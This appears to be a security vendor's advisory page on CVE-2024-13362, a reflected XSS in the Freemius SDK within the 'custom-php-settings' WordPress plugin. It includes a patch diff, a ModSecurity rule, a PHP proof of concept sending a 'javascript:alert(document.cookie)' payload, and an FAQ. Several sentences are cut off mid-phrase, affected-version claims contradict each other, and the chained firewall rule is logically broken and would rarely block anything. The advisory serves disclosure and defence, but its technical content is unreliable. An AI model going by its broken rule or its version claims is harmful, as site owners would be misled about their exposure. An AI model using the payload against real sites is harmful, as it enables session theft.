Atomic Edge analysis of CVE-2024-13362:
This is a reflected DOM-based Cross-Site Scripting vulnerability in the Freemius SDK (versions add_sticky()` call around line 24000 of the diff. The vulnerable code directly concatenates the result of `$this->apply_filters( ‘trial_promotion_message’, “{$message} {$cc_string} {$button}” )` into the notice HTML without proper output escaping. The `$trial_url` variable, which originates from user-controlled input (the `url` parameter), is embedded into an HTML anchor tag’s `href` attribute without sanitization. The `apply_filters` call does not escape the output, allowing arbitrary HTML and JavaScript injection.
Exploitation:
An attacker crafts a URL containing a JavaScript payload in the `url` parameter, e.g., `https://victim-site.com/?url=javascript:alert(document.cookie)`. When a logged-in administrator visits this link, the Freemius SDK generates a trial promotion notice that includes the attacker-controlled URL. The injected JavaScript executes in the context of the victim’s browser. The attack requires tricking a user (typically an admin) into clicking the malicious link, making it a reflected cross-site scripting attack.
Patch Analysis:
The patch modifies `class-freemius.php` at line 24000-24015 of the diff. It restructures the HTML output by moving the button and message into separate `
Impact:
Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser of an authenticated WordPress administrator. This can lead to session hijacking, credential theft, defacement, or administrative account takeover. The vulnerability requires user interaction (clicking a link), but the impact is severe due to the potential for privilege escalation through XSS.
Differential between vulnerable and patched code
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/custom-php-settings/bootstrap.php
+++ b/custom-php-settings/bootstrap.php
@@ -4,7 +4,7 @@
* Plugin Name: Custom PHP settings
* Plugin URI: https://wordpress.org/plugins/custom-php-settings/
* Description: Customize PHP settings.
- * Version: 2.3.1
+ * Version: 2.3.2
* Requires at least: 4.1.0
* Requires PHP: 5.6
* Author: Cyclonecode
--- a/custom-php-settings/freemius/includes/class-freemius.php
+++ b/custom-php-settings/freemius/includes/class-freemius.php
@@ -24000,13 +24000,15 @@
// Start trial button.
$button = ' ' . sprintf(
- '<a style="margin-left: 10px; vertical-align: super;" href="%s"><button class="button button-primary">%s ➜</button></a>',
+ '<div><a class="button button-primary" href="%s">%s ➜</a></div>',
$trial_url,
$this->get_text_x_inline( 'Start free trial', 'call to action', 'start-free-trial' )
);
+ $message_text = $this->apply_filters( 'trial_promotion_message', "{$message} {$cc_string}" );
+
$this->_admin_notices->add_sticky(
- $this->apply_filters( 'trial_promotion_message', "{$message} {$cc_string} {$button}" ),
+ "<div class="fs-trial-message-container"><div>{$message_text}</div> {$button}</div>",
'trial_promotion',
'',
'promotion'
@@ -25476,7 +25478,7 @@
$img_dir = WP_FS__DIR_IMG;
// Locate the main assets folder.
- if ( 1 < count( $fs_active_plugins->plugins ) ) {
+ if ( ! empty( $fs_active_plugins->plugins ) ) {
$plugin_or_theme_img_dir = ( $this->is_plugin() ? WP_PLUGIN_DIR : get_theme_root( get_stylesheet() ) );
foreach ( $fs_active_plugins->plugins as $sdk_path => &$data ) {
--- a/custom-php-settings/freemius/includes/class-fs-plugin-updater.php
+++ b/custom-php-settings/freemius/includes/class-fs-plugin-updater.php
@@ -542,24 +542,8 @@
global $wp_current_filter;
- $current_plugin_version = $this->_fs->get_plugin_version();
-
- if ( ! empty( $wp_current_filter ) && 'upgrader_process_complete' === $wp_current_filter[0] ) {
- if (
- is_null( $this->_update_details ) ||
- ( is_object( $this->_update_details ) && $this->_update_details->new_version !== $current_plugin_version )
- ) {
- /**
- * After an update, clear the stored update details and reparse the plugin's main file in order to get
- * the updated version's information and prevent the previous update information from showing up on the
- * updates page.
- *
- * @author Leo Fajardo (@leorw)
- * @since 2.3.1
- */
- $this->_update_details = null;
- $current_plugin_version = $this->_fs->get_plugin_version( true );
- }
+ if ( ! empty( $wp_current_filter ) && in_array( 'upgrader_process_complete', $wp_current_filter ) ) {
+ return $transient_data;
}
if ( ! isset( $this->_update_details ) ) {
@@ -568,7 +552,7 @@
false,
fs_request_get_bool( 'force-check' ),
FS_Plugin_Updater::UPDATES_CHECK_CACHE_EXPIRATION,
- $current_plugin_version
+ $this->_fs->get_plugin_version()
);
$this->_update_details = false;
--- a/custom-php-settings/freemius/includes/entities/class-fs-plugin-plan.php
+++ b/custom-php-settings/freemius/includes/entities/class-fs-plugin-plan.php
@@ -13,7 +13,6 @@
/**
* Class FS_Plugin_Plan
*
- * @property FS_Pricing[] $pricing
*/
class FS_Plugin_Plan extends FS_Entity {
--- a/custom-php-settings/freemius/includes/entities/class-fs-site.php
+++ b/custom-php-settings/freemius/includes/entities/class-fs-site.php
@@ -10,16 +10,16 @@
exit;
}
- /**
- * @property int $blog_id
- */
- #[AllowDynamicProperties]
class FS_Site extends FS_Scope_Entity {
/**
* @var number
*/
public $site_id;
/**
+ * @var int
+ */
+ public $blog_id;
+ /**
* @var number
*/
public $plugin_id;
--- a/custom-php-settings/freemius/includes/entities/class-fs-user.php
+++ b/custom-php-settings/freemius/includes/entities/class-fs-user.php
@@ -48,6 +48,19 @@
parent::__construct( $user );
}
+ /**
+ * This method removes the deprecated 'is_beta' property from the serialized data.
+ * Should clean up the serialized data to avoid PHP 8.2 warning on next execution.
+ *
+ * @return void
+ */
+ function __wakeup() {
+ if ( property_exists( $this, 'is_beta' ) ) {
+ // If we enter here, and we are running PHP 8.2, we already had the warning. But we sanitize data for next execution.
+ unset( $this->is_beta );
+ }
+ }
+
function get_name() {
return trim( ucfirst( trim( is_string( $this->first ) ? $this->first : '' ) ) . ' ' . ucfirst( trim( is_string( $this->last ) ? $this->last : '' ) ) );
}
--- a/custom-php-settings/freemius/includes/managers/class-fs-admin-menu-manager.php
+++ b/custom-php-settings/freemius/includes/managers/class-fs-admin-menu-manager.php
@@ -699,16 +699,36 @@
$menu = $this->find_main_submenu();
}
+ $menu_slug = $menu['menu'][2];
$parent_slug = isset( $menu['parent_slug'] ) ?
- $menu['parent_slug'] :
- 'admin.php';
+ $menu['parent_slug'] :
+ 'admin.php';
- return admin_url(
- $parent_slug .
- ( false === strpos( $parent_slug, '?' ) ? '?' : '&' ) .
- 'page=' .
- $menu['menu'][2]
- );
+ if ( fs_apply_filter( $this->_module_unique_affix, 'enable_cpt_advanced_menu_logic', false ) ) {
+ $parent_slug = 'admin.php';
+
+ /**
+ * This line and the `if` block below it are based on the `menu_page_url()` function of WordPress.
+ *
+ * @author Leo Fajardo (@leorw)
+ * @since 2.10.2
+ */
+ global $_parent_pages;
+
+ if ( ! empty( $_parent_pages[ $menu_slug ] ) ) {
+ $_parent_slug = $_parent_pages[ $menu_slug ];
+ $parent_slug = isset( $_parent_pages[ $_parent_slug ] ) ?
+ $parent_slug :
+ $menu['parent_slug'];
+ }
+ }
+
+ return admin_url(
+ $parent_slug .
+ ( false === strpos( $parent_slug, '?' ) ? '?' : '&' ) .
+ 'page=' .
+ $menu_slug
+ );
}
/**
--- a/custom-php-settings/freemius/includes/managers/class-fs-admin-notice-manager.php
+++ b/custom-php-settings/freemius/includes/managers/class-fs-admin-notice-manager.php
@@ -194,8 +194,14 @@
* @since 1.0.7
*/
static function _add_sticky_dismiss_javascript() {
+ $sticky_admin_notice_js_template_name = 'sticky-admin-notice-js.php';
+
+ if ( ! file_exists( fs_get_template_path( $sticky_admin_notice_js_template_name ) ) ) {
+ return;
+ }
+
$params = array();
- fs_require_once_template( 'sticky-admin-notice-js.php', $params );
+ fs_require_once_template( $sticky_admin_notice_js_template_name, $params );
}
private static $_added_sticky_javascript = false;
--- a/custom-php-settings/freemius/start.php
+++ b/custom-php-settings/freemius/start.php
@@ -15,7 +15,7 @@
*
* @var string
*/
- $this_sdk_version = '2.10.1';
+ $this_sdk_version = '2.11.0';
#region SDK Selection Logic --------------------------------------------------------------------
--- a/custom-php-settings/src/Backend/Backend.php
+++ b/custom-php-settings/src/Backend/Backend.php
@@ -5,7 +5,7 @@
use CustomPhpSettingsPluginSettingsSettings;
use function CustomPhpSettingscps_fs;
class Backend {
- const VERSION = '2.3.1';
+ const VERSION = '2.3.2';
const SETTINGS_NAME = 'custom_php_settings';
--- a/custom-php-settings/vendor/composer/InstalledVersions.php
+++ b/custom-php-settings/vendor/composer/InstalledVersions.php
@@ -33,6 +33,11 @@
private static $installed;
/**
+ * @var bool
+ */
+ private static $installedIsLocalDir;
+
+ /**
* @var bool|null
*/
private static $canGetVendors;
@@ -309,6 +314,12 @@
{
self::$installed = $data;
self::$installedByVendor = array();
+
+ // when using reload, we disable the duplicate protection to ensure that self::$installed data is
+ // always returned, but we cannot know whether it comes from the installed.php in __DIR__ or not,
+ // so we have to assume it does not, and that may result in duplicate data being returned when listing
+ // all installed packages for example
+ self::$installedIsLocalDir = false;
}
/**
@@ -322,19 +333,27 @@
}
$installed = array();
+ $copiedLocalDir = false;
if (self::$canGetVendors) {
+ $selfDir = strtr(__DIR__, '\', '/');
foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) {
+ $vendorDir = strtr($vendorDir, '\', '/');
if (isset(self::$installedByVendor[$vendorDir])) {
$installed[] = self::$installedByVendor[$vendorDir];
} elseif (is_file($vendorDir.'/composer/installed.php')) {
/** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required */
$required = require $vendorDir.'/composer/installed.php';
- $installed[] = self::$installedByVendor[$vendorDir] = $required;
- if (null === self::$installed && strtr($vendorDir.'/composer', '\', '/') === strtr(__DIR__, '\', '/')) {
- self::$installed = $installed[count($installed) - 1];
+ self::$installedByVendor[$vendorDir] = $required;
+ $installed[] = $required;
+ if (self::$installed === null && $vendorDir.'/composer' === $selfDir) {
+ self::$installed = $required;
+ self::$installedIsLocalDir = true;
}
}
+ if (self::$installedIsLocalDir && $vendorDir.'/composer' === $selfDir) {
+ $copiedLocalDir = true;
+ }
}
}
@@ -350,7 +369,7 @@
}
}
- if (self::$installed !== array()) {
+ if (self::$installed !== array() && !$copiedLocalDir) {
$installed[] = self::$installed;
}
ModSecurity Protection Against This CVE
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@streq /" "id:20240001,phase:2,deny,status:403,chain,msg:'CVE-2024-13362 Reflected XSS via url parameter (Freemius)',severity:'CRITICAL',tag:'CVE-2024-13362',tag:'wordpress'"
SecRule ARGS_GET:url "@rx ^javascript:" "chain"
SecRule ARGS_GET:url "@rx <script" ""
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2024-13362 - Freemius <= 2.10.1 - Reflected DOM-Based Cross-Site Scripting via url Parameter
// Configuration
$target_url = 'http://example.com'; // Change this to the target WordPress site
// XSS payload: steal cookies by alerting them (for demonstration)
$payload = 'javascript:alert(document.cookie)';
// Build the malicious URL
$malicious_url = $target_url . '/?url=' . urlencode($payload);
echo "[+] CVE-2024-13362 Proof of Conceptn";
echo "[+] Target: $target_urln";
echo "[+] Malicious URL: $malicious_urln";
echo "[+] Attempting to trigger XSS...nn";
// Initialize cURL
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $malicious_url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_COOKIEFILE => '/dev/null', // Ignore cookies for unauthenticated trigger
CURLOPT_USERAGENT => 'Mozilla/5.0 (AtomicEdge PoC)'
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200) {
echo "[+] Request completed with HTTP $http_coden";
// Check if the payload appears in the response (for verification)
if (strpos($response, $payload) !== false) {
echo "[+] XSS payload found in response!n";
echo "[+] The vulnerable page includes the injected script.n";
echo "[+] To exploit: Send the malicious URL to an admin user.n";
} else {
echo "[-] Payload not found in response. The site may be patched.n";
}
} else {
echo "[-] Request failed (HTTP $http_code). Check target URL.n";
}
echo "n[+] Done.n";
Frequently Asked Questions
What is CVE-2024-13362?
Understanding the vulnerabilityCVE-2024-13362 is a reflected DOM-based Cross-Site Scripting (XSS) vulnerability in the Freemius SDK used by WordPress plugins. It occurs due to insufficient input sanitization of the ‘url’ parameter, allowing attackers to inject arbitrary JavaScript into web pages.
Who is affected by this vulnerability?
Identifying vulnerable installationsAny WordPress site using the Freemius SDK version 2.3.1 or earlier is vulnerable to CVE-2024-13362. Administrators can check their plugin versions in the WordPress admin dashboard under the Plugins section.
How can I check if my site is vulnerable?
Steps to verify vulnerability statusTo check if your site is vulnerable, review the version of the ‘custom-php-settings’ plugin installed. If it is version 2.3.1 or earlier, your site is at risk and should be updated immediately.
How can I fix this vulnerability?
Updating the affected pluginThe vulnerability is patched in version 2.3.2 of the ‘custom-php-settings’ plugin. Update the plugin to this version or later to mitigate the risk of exploitation.
What does a CVSS score of 6.1 indicate?
Understanding the severity levelA CVSS score of 6.1 indicates a medium severity level for this vulnerability. This means that while exploitation requires user interaction, the potential impact on the affected system can still be significant.
What are the potential risks of this vulnerability?
Impact of successful exploitationIf exploited, this vulnerability could allow an attacker to execute arbitrary JavaScript in the browser of an authenticated administrator. This could lead to session hijacking, credential theft, or unauthorized administrative access.
What is reflected DOM-based XSS?
Explaining the attack vectorReflected DOM-based XSS occurs when an attacker crafts a URL with malicious JavaScript that is reflected off the server and executed in the user’s browser. This type of attack typically requires the user to click a link for the payload to execute.
How does the proof of concept demonstrate the vulnerability?
Understanding the demonstration codeThe proof of concept illustrates how an attacker can create a malicious URL that includes a JavaScript payload. When an administrator clicks the link, the payload executes, demonstrating the vulnerability’s potential impact.
What are the structural changes made in the patch?
Details of the code modificationThe patch restructures the HTML output in the Freemius SDK to separate user input from the HTML structure. This change reduces the risk of injection by preventing direct concatenation of user-controlled input into the output.
What should I do if I cannot update the plugin immediately?
Mitigation strategiesIf immediate updates are not possible, consider disabling the plugin until it can be patched. Additionally, educate users about the risks of clicking unknown links and implement security measures such as web application firewalls.
Are there any other vulnerabilities associated with this plugin?
Checking for additional risksWhile CVE-2024-13362 is a specific vulnerability, it is important to regularly review and monitor all plugins for known vulnerabilities. Keeping plugins updated and following security best practices can help mitigate risks.
Where can I find more information about this vulnerability?
Resources for further readingMore information about CVE-2024-13362 can be found on the National Vulnerability Database or through security advisories from WordPress security teams. Staying informed about updates and patches is crucial for maintaining website security.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations







